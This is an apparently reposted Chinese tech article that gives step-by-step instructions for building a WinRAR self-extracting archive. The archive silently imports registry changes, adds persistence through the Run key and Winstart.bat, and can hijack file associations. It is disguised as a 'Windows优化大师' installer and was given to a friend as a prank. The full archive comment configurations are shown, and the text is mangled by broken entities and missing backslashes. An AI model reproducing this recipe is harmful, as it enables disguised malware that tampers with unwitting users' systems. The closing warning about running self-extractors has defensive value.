自解压运行c语言,危险！WinRAR自解压程序可能为所欲为电脑资料

危险&＃xff01;WinRAR自解压程序可能为所欲为 -电脑资料

时间&＃xff1a;2019-01-01

【www.unjs.com - 电脑资料】

与Winzip相比&＃xff0c;Winrar3.0的自解压程序要多出功能&＃xff0c;健康的调侃他人的词汇&＃xff0c;编辑对它们做了净化。

上面第一项是更改计算机注册名称&＃xff0c;第二项是更改‘回收站’名称&＃xff0c;第三项是更改‘我的电脑’名称。第四项是在任务栏时间前加上文字,第五项是每次开机后自动运行c:Windowssysbckup

egeditt.reg。

建立完成后就是用Winrar打包了&＃xff0c;选中regeditt.reg后击右键&＃xff0c;在菜单中选‘添加到档案文件’&＃xff0c;在弹出对话框中&＃xff0c;把档案名称写为a1.exe&＃xff0c;在下面存档选项中选中‘创建自释放格式’。然后在高级-自释放选项中写入释放路径&＃xff0c;我写的是c:WindowsSysbckup&＃xff0c;接下来就是在‘释放后运行’中写入regeditt.reg&＃xff0c;然后在模式中选中‘全部隐藏’和‘覆盖所有文件’&＃xff0c;完成这些后按确定&＃xff0c;再选择注释我们会看到以下内容&＃xff1a;Path&＃61;c:WindowsSysbckupSetup&＃61;regeditt.regSilent&＃61;1Overwrite&＃61;1我们发现释放后运行的格式是Setup&＃61;*.*,这里是&＃61;regeditt.reg&＃xff0c;但这样运行后系统会提示你是否确认导入注册表&＃xff0c;所以应作如下修改&＃xff1a;Path&＃61;c:WindowsSysbckupSetup&＃61;regedit/sregeditt.regSilent&＃61;1Overwrite&＃61;1完成后按确定按扭&＃xff0c;就会建立出一个名为a1.exe的Winrar自解压程序,如果双击运行它&＃xff0c;屏幕上将没有任何显示&＃xff0c;但它已无声无息地把regeditt.reg拷贝到c:WindowsSysbckup&＃xff0c;并把其中的内容写入到注册表中了。

现在的问题是如何让我的朋友运行A1.exe呢&＃xff1f;对了&＃xff0c;用‘Windows优化大师’。把A1.exe与‘Windows优化大师’的安装文件(解压后的)放在一起打包&＃xff0c;建立Windows优化大师.exe&＃xff0c;全选后击右键&＃xff0c;选‘添加到档案文件’……操作大致同A1.exe&＃xff0c;危险&＃xff01;WinRAR自解压程序可能为所欲为》(https://www.unjs.com)。只不过名称改为Windows优化大师.exe&＃xff0c;解压路径改成&＃xff1a;c:Windowsemp,而且解压后要运行A1.exe和setup.exe两个文件&＃xff0c;其注释内容应为&＃xff1a;Path&＃61;c:WindowsempSetup&＃61;a1.exeSetup&＃61;setup.exeSilent&＃61;1Overwrite&＃61;1按确认后&＃xff0c;我们已初步完成了一份特制的‘Windows优化大师’了&＃xff0c;为什么说‘初步’完成呢&＃xff1f;因为现在修改注册表和启动项早已不是什么秘密了&＃xff0c;所以A1.exe只不过是附料&＃xff0c;还需要加入一味主料&＃xff1a;A2.exe.把regeditt.reg更名另存为system.reg,去掉其中的[HKEY_LOCAL_MACHINESoftwareMicrosoftWindows

CurrentVersionRun]"TaskMonitoy"&＃61;"regedit/sc:\Windows\sysbckup\regeditt.reg"然后用计事本建立Winstart.bat,其中内容要写成?A HREF&＃61;"mailto:&＃64;echo">&＃64;echo offregeditc:Windowssystem.reg>nul这样写屏幕上将没有显示&＃xff0c;完成后把这两个文件用Winrar作成自解压程序A2.exe,操作同A1.exe,但解压路径要改成c:WinDOWS,解压后也不需运行.其注释内容应为&＃xff1a;Path&＃61;c:WindowsSilent&＃61;1Overwrite&＃61;1完成后把a2.exe加入做好的Windows优化大师.exe&＃xff0c;加入方法是&＃xff1a;右击Windows优化大师.exe选择‘用Winrar打开’&＃xff0c;把a2.exe拖入&＃xff0c;按确定&＃xff0c;然后点击工具栏中的注释&＃xff0c;修改其中内容为&＃xff1a;Path&＃61;c:WindowsempSetup&＃61;a1.exeSetup&＃61;a2.exeSetup&＃61;setup.exeSilent&＃61;1Overwrite&＃61;1然后确定-退出。到此为止&＃xff0c;特制的‘Windows优化大师.exe’已全部完成。因为Winstart.bat是在进入Windows图形界面之前运行的一个程序&＃xff0c;所以加入A2.exe后,就算我的朋友能恢复注册表&＃xff0c;甚至删除regeditt.reg&＃xff0c;但只要c:Windows下的system.reg和Winstart.bat不被发现&＃xff0c;重启动后他的电脑将‘××’依旧。

在Windows98中启动程序的方法很多&＃xff0c;如通过AUTOEXEC.BAT、Winstart.bat、开始菜单中的启动、注册表中的启动项、Win.ini、system.ini、Wininit.ini和修改文件关联等都可达到启动程序的目的。如&＃xff1a;用Winrar自解压程序在注册表中导入REGEDIT4[HKEY_CLASSES_ROOTxtfileshellopencommand&＃64;&＃61;"regedit /sc:\Windows\system.reg"那么在双击txt类型文件时将不会以计事本打开&＃xff0c;而是没有任何反应。但c:\Windows\system.reg中的内容也会悄无声息的被导入注册表。但我没有这样做&＃xff0c;因为现在的这些已经够的的朋友折腾了。

第二天&＃xff0c;我把这份‘精装’的Windows优化大师交给了朋友&＃xff0c;其后果可想而知。足足三天他在对着屏幕上的‘××’发愣。

以上的这些只是我用了Winrar强大的自解压功能&＃xff0c;和朋友开了一个小玩笑&＃xff0c;但从上面事例不难看出&＃xff0c;WinrarR的这些功能使不会编程的人也能制作出一些恶意的程序&＃xff0c;如果有人给这些程序起上一些漂亮的名字(如Windows优化大师2002等)在网上发布&＃xff0c;用它来format你的硬盘、deltree你的文件等等&＃xff0c;也不是没有可能的。最最可怕的是&＃xff0c;如果运行的是一个木马程序的客户端&＃xff0c;那后果更加的不勘设想。

提示&＃xff1a;不要直接运行自解压程序。&＃xff0c;而是选择右键菜单中的“用Winrar打开”。